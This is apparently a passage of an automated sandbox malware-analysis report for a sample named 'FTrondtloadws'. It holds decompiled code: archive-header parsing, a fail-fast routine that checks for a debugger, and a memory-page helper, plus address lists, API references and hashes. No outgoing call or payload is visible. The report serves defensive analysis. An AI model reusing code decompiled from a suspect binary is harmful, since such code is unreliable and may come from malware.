																				_t701 = (_t699 << 8) + ( *_t195 & 0x000000ff);
																				asm("adc edi, edx");
																				 *(_t516 + 0x1a50) = _t701 << 9;
																				 *(_t516 + 0x1a54) = ((((_t640 << 0x00000020 | _t695) << 0x8 << 0x00000020 | _t697) << 0x8 << 0x00000020 | _t699) << 0x8 << 0x00000020 | _t701) << 9;
																				 *0xcf4278();
																				_t469 = E00CD1583( *(_t516 + 0x1a50),  *(_t516 + 0x1a54),  *((intOrPtr*)( *((intOrPtr*)( *_t516 + 0x14))))(), _t640);
																				 *(_t516 + 0x1a58) = _t469;
																				 *(_t708 + 0x24) = _t469;
																				_t470 = E00CDFD70(_t468, _t640, 0xc8, 0);
																				asm("adc edx, [ebx+0x1a54]");
																				_t431 = E00CD1583(_t470 +  *(_t516 + 0x1a50), _t640, _t468, _t640);
																				_t612 =  *(_t708 + 0x24);
																				_t694 =  *(_t708 + 0x28);
																				__eflags = _t431 - _t612;
																				if(_t431 > _t612) {
																					_t431 = _t612 + 1;
																					 *(_t516 + 0x1a58) = _t612 + 1;
																				}
																			}
																		}
																	}
																	_t432 = E00CE7156(_t431,  *((intOrPtr*)(_t708 + 0x50)), "CMT");
																	__eflags = _t432;
																	if(_t432 == 0) {
																		 *((char*)(_t516 + 0x655e)) = 1;
																	}
																} else {
																	_t640 = 0;
																	 *_t585 = 0;
																	__eflags =  *(_t694 + 8) & 0x00000200;
																	if(( *(_t694 + 8) & 0x00000200) != 0) {
																		E00CC73B1(_t708);
																		_t478 = E00CE71A0(_t708 - 0x2030) + 1;
																		__eflags = _t670 - _t478;
																		if(_t670 > _t478) {
																			__eflags = _t478 + _t708 - 0x2030;
																			E00CC73C1(_t708, _t708 - 0x2030, _t670, _t478 + _t708 - 0x2030, _t670 - _t478,  *((intOrPtr*)(_t708 + 0x50)), 0x800);
																		}
																		_t585 =  *((intOrPtr*)(_t708 + 0x50));
																		_t427 = 0;
																		__eflags = 0;
																	}
																	__eflags =  *_t585 - _t427;
																	if( *_t585 == _t427) {
																		_push(1);
																		_push(0x800);
																		_push(_t585);
																		_push(_t708 - 0x2030);
																		E00CD15D9();
																	}
																	E00CC25EF(_t516, _t694);
																}
																__eflags =  *(_t694 + 8) & 0x00000400;
																if(( *(_t694 + 8) & 0x00000400) != 0) {
																	_t221 = _t694 + 0x1099; // 0x109a
																	E00CCE068(_t708 + 0x2c, _t221, 8);
																}
																E00CD270D( *(_t708 + 0x20));
																__eflags =  *(_t694 + 8) & 0x00001000;
																if(( *(_t694 + 8) & 0x00001000) == 0) {
																	L112:
																	 *((intOrPtr*)(_t516 + 0x6550)) = E00CC460F( *((intOrPtr*)(_t516 + 0x6550)),  *(_t516 + 0x6554),  *((intOrPtr*)(_t694 + 0x1050)),  *((intOrPtr*)(_t694 + 0x1054)), 0, 0);
																	 *(_t516 + 0x6554) = _t640;
																	 *(_t708 + 0x20) =  *(_t694 + 0x10ea);
																	_t437 = E00CCE0B7(_t708 + 0x2c,  *(_t708 + 0x20));
																	__eflags =  *_t694 - (_t437 & 0x0000ffff);
																	if( *_t694 != (_t437 & 0x0000ffff)) {
																		 *((char*)(_t516 + 0x656c)) = 1;
																		E00CC7809(0xd030c4, 1);
																		__eflags =  *((char*)(_t708 + 0x56));
																		if( *((char*)(_t708 + 0x56)) == 0) {
																			E00CC237A(0x1c, _t516 + 0x32,  *((intOrPtr*)(_t708 + 0x50)));
																		}
																	}
																	goto L119;
																} else {
																	_t442 = E00CCDFD1(_t708 + 0x2c);
																	 *_t708 = _t516 + 0x2b70;
																	 *((intOrPtr*)(_t708 + 4)) = _t516 + 0x2b78;
																	 *((intOrPtr*)(_t708 + 8)) = _t516 + 0x2b80;
																	__eflags = 0;
																	_t672 = 0;
																	 *((intOrPtr*)(_t708 + 0xc)) = 0;
																	_t447 = _t442 & 0x0000ffff;
																	 *(_t708 + 0x4c) = 0;
																	 *(_t708 + 0x20) = _t447;
																	do {
																		_t593 = 3;
																		_t520 = _t447 >> _t593 - _t672 << 2;
																		__eflags = _t520 & 0x00000008;
																		if((_t520 & 0x00000008) == 0) {
																			goto L110;
																		}
																		__eflags =  *(_t708 + _t672 * 4);
																		if( *(_t708 + _t672 * 4) == 0) {
																			goto L110;
																		}
																		__eflags = _t672;
																		if(__eflags != 0) {
																			E00CD270D(E00CCE006(_t708 + 0x2c));
																		}
																		E00CD2508( *(_t708 + _t672 * 4), _t640, _t708, __eflags, _t708 - 0x30);
																		__eflags = _t520 & 0x00000004;
																		if((_t520 & 0x00000004) != 0) {
																			_t249 = _t708 - 0x1c;
																			 *_t249 =  *(_t708 - 0x1c) + 1;
																			__eflags =  *_t249;
																		}
																		_t597 = 0;
																		 *(_t708 - 0x18) = 0;
																		_t521 = _t520 & 0x00000003;
																		__eflags = _t521;
																		if(_t521 <= 0) {
																			L109:
																			_t450 = _t597 * 0x64;
																			__eflags = _t450;
																			 *(_t708 - 0x18) = _t450;
																			E00CD2769( *(_t708 + _t672 * 4), _t640, _t708 - 0x30);
																			_t447 =  *(_t708 + 0x20);
																		} else {
																			_t673 = 3;
																			_t675 = _t673 - _t521 << 3;
																			__eflags = _t675;
																			do {
																				_t455 = (E00CCDFBA(_t708 + 0x2c) & 0x000000ff) << _t675;
																				_t675 = _t675 + 8;
																				_t597 =  *(_t708 - 0x18) | _t455;
																				 *(_t708 - 0x18) = _t597;
																				_t521 = _t521 - 1;
																				__eflags = _t521;
																			} while (_t521 != 0);
																			_t672 =  *(_t708 + 0x4c);
																			goto L109;
																		}
																		L110:
																		_t672 = _t672 + 1;
																		 *(_t708 + 0x4c) = _t672;
																		__eflags = _t672 - 4;
																	} while (_t672 < 4);
																	_t516 =  *((intOrPtr*)(_t708 + 0x14));
																	goto L112;
																}
															}
															_t669 = E00CCE006(_t708 + 0x2c);
															_t484 = E00CCE006(_t708 + 0x2c);
															__eflags =  *((intOrPtr*)(_t708 + 0x50)) - 0xffffffff;
															_t640 = _t484;
															if( *((intOrPtr*)(_t708 + 0x50)) != 0xffffffff) {
																L72:
																_t419 = 0;
																goto L74;
															}
															__eflags = _t640 - 0xffffffff;
															if(_t640 != 0xffffffff) {
																goto L72;
															}
															_t419 = 1;
															goto L74;
														}
														goto L67;
													}
												}
												__eflags = _t414 - 5;
												if(_t414 == 5) {
													goto L61;
												}
												__eflags = _t414 - 6;
												if(_t414 < 6) {
													 *(_t694 + 0x10f4) = 0;
												}
												goto L62;
											} else {
												_t648 = _t647 - 0xd;
												__eflags = _t648;
												if(_t648 == 0) {
													 *(_t694 + 0x1094) = 1;
													goto L57;
												}
												_t650 = _t648;
												__eflags = _t650;
												if(_t650 == 0) {
													 *(_t694 + 0x1094) = 2;
													goto L57;
												}
												_t651 = _t650 - 5;
												__eflags = _t651;
												if(_t651 == 0) {
													L54:
													 *(_t694 + 0x1094) = 3;
													goto L57;
												}
												__eflags = _t651 == 6;
												if(_t651 == 6) {
													goto L54;
												}
												 *(_t694 + 0x1094) = 4;
												goto L57;
											}
										}
										__eflags = _t395;
										_t396 = 1;
										if(_t395 != 0) {
											goto L42;
										}
										goto L41;
									}
									__eflags = _t395;
									if(_t395 == 0) {
										goto L38;
									}
									 *(_t708 + 0x57) = 1;
									_t643 = 0;
									goto L39;
								}
								_t488 = _t378 - 1;
								__eflags = _t488;
								if(_t488 == 0) {
									goto L35;
								}
								__eflags = _t488 == 0;
								if(_t488 == 0) {
									_t624 = 5;
									memcpy(_t516 + 0x3e40, _t516 + 0x1a74, _t624 << 2);
									_t653 =  *(_t516 + 0x3e48);
									 *(_t516 + 0x3e5c) =  *(_t516 + 0x3e48) & 0x00000001;
									_t628 = _t653 >> 0x00000001 & 0x00000001;
									_t640 = _t653 >> 0x00000003 & 0x00000001;
									 *(_t516 + 0x3e5d) = _t628;
									 *(_t516 + 0x3e5e) = _t653 >> 0x00000002 & 0x00000001;
									 *(_t516 + 0x3e5f) = _t640;
									__eflags = _t628;
									if(_t628 != 0) {
										 *((intOrPtr*)(_t516 + 0x3e54)) = E00CCE006(_t708 + 0x2c);
									}
									__eflags =  *(_t516 + 0x3e5f);
									if( *(_t516 + 0x3e5f) != 0) {
										_t498 = E00CCDFD1(_t708 + 0x2c) & 0x0000ffff;
										 *(_t516 + 0x3e58) = _t498;
										 *(_t516 + 0x6580) = _t498;
									}
									goto L119;
								} else {
									__eflags =  *(_t516 + 0x1a7c) & 0x00008000;
									if(( *(_t516 + 0x1a7c) & 0x00008000) != 0) {
										 *((intOrPtr*)(_t516 + 0x6550)) =  *((intOrPtr*)(_t516 + 0x6550)) + E00CCE006(_t708 + 0x2c);
										asm("adc dword [ebx+0x6554], 0x0");
									}
									goto L120;
								}
							}
							__eflags = _t688 - 1;
							if(_t688 != 1) {
								L24:
								_t335 = _t533 - 7;
								goto L25;
							}
							__eflags =  *(_t516 + 0x1a7c) & 0x00000002;
							if(( *(_t516 + 0x1a7c) & 0x00000002) == 0) {
								goto L24;
							}
							goto L23;
						}
						_t501 = _t334 - 1;
						__eflags = _t501;
						if(_t501 == 0) {
							 *(_t516 + 0x1a78) = _t640;
							_t688 = _t640;
							goto L20;
						}
						_t502 = _t501 - 6;
						__eflags = _t502;
						if(_t502 == 0) {
							_push(3);
							L17:
							_pop(_t503);
							 *(_t516 + 0x1a78) = _t503;
							_t688 = _t503;
							goto L20;
						}
						__eflags = _t502 != 1;
						if(_t502 != 1) {
							goto L20;
						} else {
							_push(5);
							goto L17;
						}
					} else {
						E00CC2544(_t516, __eflags);
						goto L131;
					}
				}
				_t639 =  *((intOrPtr*)(__ecx + 0x6568)) + _t657;
				asm("adc eax, ecx");
				_t718 =  *((intOrPtr*)(__ecx + 0x654c));
				if(_t718 < 0 || _t718 <= 0 &&  *((intOrPtr*)(__ecx + 0x6548)) <= _t639) {
					goto L7;
				} else {
					 *((char*)(_t708 + 0x56)) = 1;
					E00CC458D(_t516, _t708, 0);
					 *0xcf4278(_t708 + 0x1c, 8);
					if( *((intOrPtr*)( *((intOrPtr*)( *_t516 + 0xc))))() == 8) {
						_t707 = _t516 + 0x1040;
						E00CC6A3F(_t707, 0, 4,  *((intOrPtr*)(_t516 + 0x1a4c)) + 0xb3d0, _t708 + 0x1c, 0, 0, 0, 0);
						 *((intOrPtr*)(_t708 + 0x48)) = _t707;
						goto L8;
					}
					goto L5;
				}
			}

0x00cc2ebf
0x00cc2ec9
0x00cc2ed0
0x00cc2ed7
0x00cc2eda
0x00cc2ee3
0x00cc2ee6
0x00cc2ee9
0x00cc2ef0
0x00cc2f6f
0x00cc2f6f
0x00cc2f72
0x00cc2f72
0x00cc2f76
0x00cc2f7b
0x00cc2f7f
0x00cc2f38
0x00cc2f3a
0x00cc3926
0x00cc3929
0x00cc3937
0x00cc3942
0x00cc3942
0x00cc2f8f
0x00cc2f95
0x00cc2fa4
0x00cc2fac
0x00cc2fb2
0x00cc2fbd
0x00cc2fc8
0x00cc2fcb
0x00cc2fd1
0x00cc2fd7
0x00cc2fd9
0x00cc2feb
0x00cc2fec
0x00cc2fec
0x00cc2fef
0x00cc301d
0x00cc3027
0x00cc3027
0x00cc3028
0x00cc3028
0x00cc302e
0x00cc3031
0x00cc3041
0x00cc3043
0x00cc3049
0x00cc3049
0x00cc304d
0x00cc305a
0x00cc306b
0x00cc306e
0x00cc3074
0x00cc307a
0x00cc3082
0x00cc3085
0x00cc3085
0x00cc3088
0x00cc37a5
0x00cc37ad
0x00cc37b4
0x00cc37bb
0x00cc37c8
0x00cc37da
0x00cc37df
0x00cc37e5
0x00cc37f7
0x00cc37fd
0x00cc380a
0x00cc3817
0x00cc3824
0x00cc382a
0x00cc382c
0x00cc3839
0x00cc3839
0x00cc383b
0x00cc383b
0x00cc3847
0x00cc3857
0x00cc3857
0x00cc385a
0x00cc3860
0x00cc3866
0x00cc3868
0x00cc3869
0x00cc386e
0x00cc3876
0x00cc387c
0x00cc3920
0x00cc3923
0x00000000
0x00cc3923
0x00cc3882
0x00cc3888
0x00cc388b
0x00000000
0x00000000
0x00cc3891
0x00cc3894
0x00000000
0x00000000
0x00cc389a
0x00cc389d
0x00cc38f2
0x00cc38f9
0x00cc3900
0x00cc3905
0x00cc3909
0x00000000
0x00000000
0x00cc3912
0x00cc3917
0x00000000
0x00cc3917
0x00cc389f
0x00cc38a6
0x00000000
0x00000000
0x00cc38af
0x00cc38bd
0x00cc38bd
0x00cc38c0
0x00cc38c7
0x00cc38cf
0x00cc38d2
0x00cc38d6
0x00cc38d8
0x00cc38df
0x00cc38e3
0x00cc38e6
0x00cc38e9
0x00cc38e9
0x00cc38e9
0x00cc38ee
0x00cc38f0
0x00000000
0x00000000
0x00000000
0x00cc38f0
0x00cc382e
0x00cc3830
0x00cc3837
0x00000000
0x00000000
0x00000000
0x00cc3837
0x00cc308e
0x00cc308e
0x00cc3091
0x00cc3156
0x00cc3158
0x00cc3160
0x00cc316f
0x00cc3173
0x00cc3176
0x00cc317d
0x00cc3186
0x00cc3188
0x00cc318c
0x00cc3192
0x00cc3197
0x00cc31a3
0x00cc31b0
0x00cc31bd
0x00cc31c5
0x00cc31c8
0x00cc31cb
0x00cc31d8
0x00cc31d8
0x00cc31d8
0x00cc31da
0x00cc31dd
0x00cc31e0
0x00cc31e6
0x00cc31e9
0x00cc31ec
0x00cc31f4
0x00cc31f4
0x00cc31f6
0x00cc31f6
0x00cc3201
0x00cc3203
0x00cc3208
0x00cc320e
0x00cc3214
0x00cc321d
0x00cc322d
0x00cc322d
0x00cc3216
0x00cc3216
0x00cc3218
0x00cc3218
0x00cc322f
0x00cc3245
0x00cc324b
0x00cc3259
0x00cc3264
0x00cc326f
0x00cc3272
0x00cc3284
0x00cc3292
0x00cc329d
0x00cc32ad
0x00cc32b8
0x00cc32be
0x00cc32c3
0x00cc32c6
0x00cc32c9
0x00cc32cc
0x00cc32cf
0x00cc32d1
0x00cc32d3
0x00cc32d5
0x00cc32d5
0x00cc32d3
0x00cc32de
0x00cc32e4
0x00cc32ea
0x00cc332f
0x00cc332f
0x00cc3332
0x00cc333c
0x00cc333e
0x00cc3350
0x00cc3350
0x00cc335a
0x00cc335a
0x00cc3360
0x00cc3362
0x00cc336c
0x00cc3371
0x00cc3373
0x00cc3375
0x00cc337f
0x00cc337f
0x00cc3371
0x00cc3386
0x00cc3389
0x00cc3392
0x00cc3392
0x00000000
0x00cc338b
0x00cc338b
0x00cc338d
0x00cc3390
0x00cc3394
0x00cc3394
0x00cc33a0
0x00cc33a0
0x00cc33a2
0x00cc33a8
0x00cc33d5
0x00cc33d9
0x00cc33db
0x00cc33dd
0x00cc33dd
0x00cc33dd
0x00cc33e0
0x00cc33e0
0x00cc33e6
0x00cc33ee
0x00cc33f4
0x00cc33fb
0x00cc3401
0x00cc3403
0x00cc3409
0x00cc340d
0x00cc3413
0x00cc341a
0x00cc3420
0x00cc3420
0x00cc3426
0x00cc3429
0x00cc342e
0x00cc3430
0x00cc3432
0x00cc3432
0x00cc343f
0x00cc3446
0x00cc3448
0x00cc344c
0x00cc3463
0x00cc3465
0x00cc3469
0x00cc346c
0x00cc34f0
0x00cc34f8
0x00cc34fb
0x00cc3502
0x00cc3505
0x00cc3507
0x00cc3507
0x00cc350a
0x00cc350c
0x00cc3512
0x00cc3519
0x00cc351f
0x00cc351f
0x00cc3537
0x00cc353e
0x00cc3540
0x00cc3546
0x00cc354d
0x00cc3553
0x00cc3555
0x00cc3559
0x00cc355a
0x00cc355e
0x00cc3566
0x00cc356a
0x00cc356c
0x00cc3570
0x00cc3572
0x00cc357a
0x00cc357c
0x00cc3580
0x00cc3582
0x00cc358a
0x00cc358e
0x00cc3597
0x00cc35a2
0x00cc35a8
0x00cc35c4
0x00cc35d4
0x00cc35da
0x00cc35dd
0x00cc35e8
0x00cc35f0
0x00cc35f5
0x00cc35f8
0x00cc35fb
0x00cc35fd
0x00cc35ff
0x00cc3602
0x00cc3602
0x00cc35fd
0x00cc354d
0x00cc3540
0x00cc3610
0x00cc3617
0x00cc3619
0x00cc361b
0x00cc361b
0x00cc346e
0x00cc346e
0x00cc3470
0x00cc3473
0x00cc347a
0x00cc347f
0x00cc3490
0x00cc3492
0x00cc3494
0x00cc34a9
0x00cc34b3
0x00cc34b3
0x00cc34b8
0x00cc34bb
0x00cc34bb
0x00cc34bb
0x00cc34bd
0x00cc34c0
0x00cc34c2
0x00cc34c4
0x00cc34c9
0x00cc34d0
0x00cc34d1
0x00cc34d1
0x00cc34d9
0x00cc34d9
0x00cc3622
0x00cc3629
0x00cc362d
0x00cc3637
0x00cc3637
0x00cc3645
0x00cc364a
0x00cc3651
0x00cc3729
0x00cc374a
0x00cc3753
0x00cc375f
0x00cc3765
0x00cc376d
0x00cc376f
0x00cc377c
0x00cc3783
0x00cc3788
0x00cc378c
0x00cc379b
0x00cc379b
0x00cc378c
0x00000000
0x00cc3657
0x00cc365a
0x00cc3668
0x00cc3671
0x00cc367a
0x00cc367d
0x00cc367f
0x00cc3681
0x00cc3684
0x00cc3686
0x00cc3689
0x00cc368c
0x00cc368e
0x00cc3696
0x00cc3698
0x00cc369b
0x00000000
0x00000000
0x00cc369d
0x00cc36a2
0x00000000
0x00000000
0x00cc36a4
0x00cc36a6
0x00cc36b5
0x00cc36b5
0x00cc36c2
0x00cc36c7
0x00cc36ca
0x00cc36cc
0x00cc36cc
0x00cc36cc
0x00cc36cc
0x00cc36cf
0x00cc36d1
0x00cc36d4
0x00cc36d4
0x00cc36d7
0x00cc3703
0x00cc3703
0x00cc3703
0x00cc370a
0x00cc3711
0x00cc3716
0x00cc36d9
0x00cc36db
0x00cc36de
0x00cc36de
0x00cc36e1
0x00cc36ee
0x00cc36f0
0x00cc36f6
0x00cc36f8
0x00cc36fb
0x00cc36fb
0x00cc36fb
0x00cc3700
0x00000000
0x00cc3700
0x00cc3719
0x00cc3719
0x00cc371a
0x00cc371d
0x00cc371d
0x00cc3726
0x00000000
0x00cc3726
0x00cc3651
0x00cc33b5
0x00cc33b7
0x00cc33bc
0x00cc33c0
0x00cc33c2
0x00cc33cf
0x00cc33d1
0x00000000
0x00cc33d1
0x00cc33c4
0x00cc33c7
0x00000000
0x00000000
0x00cc33c9
0x00000000
0x00cc33cb
0x00000000
0x00cc3390
0x00cc3389
0x00cc3340
0x00cc3342
0x00000000
0x00000000
0x00cc3344
0x00cc3346
0x00cc3348
0x00cc3348
0x00000000
0x00cc32ec
0x00cc32ec
0x00cc32ec
0x00cc32ef
0x00cc3325
0x00000000
0x00cc3325
0x00cc32f2
0x00cc32f2
0x00cc32f5
0x00cc3319
0x00000000
0x00cc3319
0x00cc32f7
0x00cc32f7
0x00cc32fa
0x00cc330d
0x00cc330d
0x00000000
0x00cc330d
0x00cc32fc
0x00cc32ff
0x00000000
0x00000000
0x00cc3301
0x00000000
0x00cc3301
0x00cc32ea
0x00cc31ee
0x00cc31f0
0x00cc31f2
0x00000000
0x00000000
0x00000000
0x00cc31f2
0x00cc31cd
0x00cc31cf
0x00000000
0x00000000
0x00cc31d1
0x00cc31d4
0x00000000
0x00cc31d4
0x00cc3097
0x00cc3097
0x00cc309a
0x00000000
0x00000000
0x00cc30a1
0x00cc30a4
0x00cc30d8
0x00cc30df
0x00cc30e7
0x00cc30ef
0x00cc30fe
0x00cc3106
0x00cc3109
0x00cc310f
0x00cc3115
0x00cc311b
0x00cc311d
0x00cc3127
0x00cc3127
0x00cc312d
0x00cc3134
0x00cc3142
0x00cc3145
0x00cc314b
0x00cc314b
0x00000000
0x00cc30a6
0x00cc30a6
0x00cc30b0
0x00cc30be
0x00cc30c4
0x00cc30c4
0x00000000
0x00cc30b0
0x00cc30a4
0x00cc3033
0x00cc3036
0x00cc3046
0x00cc3046
0x00000000
0x00cc3046
0x00cc3038
0x00cc303f
0x00000000
0x00000000
0x00000000
0x00cc303f
0x00cc2ff1
0x00cc2ff1
0x00cc2ff4
0x00cc3011
0x00cc3017
0x00000000
0x00cc3017
0x00cc2ff6
0x00cc2ff6
0x00cc2ff9
0x00cc3004
0x00cc3006
0x00cc3006
0x00cc3007
0x00cc300d
0x00000000
0x00cc300d
0x00cc2ffb
0x00cc2ffe
0x00000000
0x00cc3000
0x00cc3000
0x00000000
0x00cc3000
0x00cc2fdb
0x00cc2fdd
0x00000000
0x00cc2fdd
0x00cc2fd9
0x00cc2efa
0x00cc2efc
0x00cc2efe
0x00cc2f04
0x00000000
0x00cc2f10
0x00cc2f13
0x00cc2f17
0x00cc2f29
0x00cc2f36
0x00cc2f54
0x00cc2f65
0x00cc2f6a
0x00000000
0x00cc2f6a
0x00000000
0x00cc2f36

APIs

__EH_prolog.LIBCMT ref: 00CC2EBF
_strlen.LIBCMT ref: 00CC348B

Part of subcall function 00CD15D9: __EH_prolog.LIBCMT ref: 00CD15DE

Part of subcall function 00CD2EA2: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00CCCEF8,00000000,?,?), ref: 00CD2EBE

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CC35DD

Strings

CMT, xrefs: 00CC3608

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: H_prolog$ByteCharMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1206968400-2756464174
Opcode ID: e3e17a091d2856890afd3654a796cb643b1cdf477b97b1d1370f3ac5aaf46b44
Instruction ID: 875256c0c4aaa5303c33b57ac68f94961d35e2ed2baf159b8205706458b0e0b2
Opcode Fuzzy Hash: e3e17a091d2856890afd3654a796cb643b1cdf477b97b1d1370f3ac5aaf46b44
Instruction Fuzzy Hash: 5C6226726006C48FDF19CF38D885BE93BA1AF15300F08857EFC6A8B286DB759A45DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00CE085A Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00CE085A(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E00CE0A56(_t34);
				 *_t60 = 0x2cc;
				_v632 = E00CE1000(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E00CE1000(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E00CE0A56(_t49);
				}
				return _t49;
			}

0x00ce085a
0x00ce085a
0x00ce085a
0x00ce086e
0x00ce0870
0x00ce0873
0x00ce0873
0x00ce0877
0x00ce087c
0x00ce0894
0x00ce089a
0x00ce08a0
0x00ce08a6
0x00ce08ac
0x00ce08b2
0x00ce08b8
0x00ce08bf
0x00ce08c6
0x00ce08cd
0x00ce08d4
0x00ce08db
0x00ce08e2
0x00ce08e3
0x00ce08ec
0x00ce08f2
0x00ce08f5
0x00ce08fb
0x00ce090a
0x00ce0916
0x00ce0921
0x00ce0928
0x00ce092f
0x00ce093a
0x00ce0942
0x00ce094b
0x00ce094d
0x00ce0950
0x00ce0952
0x00ce095c
0x00ce0964
0x00ce096a
0x00000000
0x00ce0971
0x00ce0974

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00CE0866
IsDebuggerPresent.KERNEL32 ref: 00CE0932
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00CE0952
UnhandledExceptionFilter.KERNEL32(?), ref: 00CE095C

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 29baf851d9271139793471f495f045399407ebfed2b0b2601df9188486b3edfe
Instruction ID: fbe3b0735ad5532fe9009a11a5d9483e3118667e34743c4ff8c3e5965199d5ba
Opcode Fuzzy Hash: 29baf851d9271139793471f495f045399407ebfed2b0b2601df9188486b3edfe
Instruction Fuzzy Hash: 4E312575D013189BDB20DFA1D989BCDBBB8AF18301F1041AAE408AB250EBB19BC4DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF67D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E00CDF67D(signed int _a4, signed int _a8) {
				struct _MEMORY_BASIC_INFORMATION _v32;
				struct _SYSTEM_INFO _v68;
				long _t20;
				signed int _t28;
				void* _t30;
				signed int _t32;
				signed int _t40;
				signed int _t45;

				_t20 = VirtualQuery(_a4,  &_v32, 0x1c);
				if(_t20 == 0) {
					_push(0x19);
					asm("int 0x29");
				}
				if((_v32.Protect & 0x00000044) != 0) {
					GetSystemInfo( &_v68);
					_t40 = _v68.dwPageSize;
					_t32 = _t40 - 1;
					_t45 =  !_t32 & _a4;
					_t28 = _a8 / _t40;
					_t30 = ((_t32 & _a4) + _t40 + (_t32 & _a8) - 1) / _t40 + _t28;
					if(_t30 == 0) {
						L5:
						return _t28;
					} else {
						goto L4;
					}
					do {
						L4:
						_t28 = 0;
						asm("lock or [esi], eax");
						_t45 = _t45 + _t40;
						_t30 = _t30 - 1;
					} while (_t30 != 0);
					goto L5;
				}
				return _t20;
			}

0x00cdf68e
0x00cdf696
0x00cdf698
0x00cdf69b
0x00cdf69b
0x00cdf6a1
0x00cdf6a9
0x00cdf6af
0x00cdf6b2
0x00cdf6c4
0x00cdf6d4
0x00cdf6d6
0x00cdf6d8
0x00cdf6e6
0x00000000
0x00000000
0x00000000
0x00000000
0x00cdf6da
0x00cdf6da
0x00cdf6da
0x00cdf6dc
0x00cdf6df
0x00cdf6e1
0x00cdf6e1
0x00000000
0x00cdf6da
0x00cdf6e9

APIs

VirtualQuery.KERNEL32(80000000,00CDF5C2,0000001C,00CDF7B7,00000000,?,?,?,?,?,?,?,00CDF5C2,00000004,00D23D24,00CDF847), ref: 00CDF68E
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00CDF5C2,00000004,00D23D24,00CDF847), ref: 00CDF6A9

Strings

D, xrefs: 00CDF69D

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
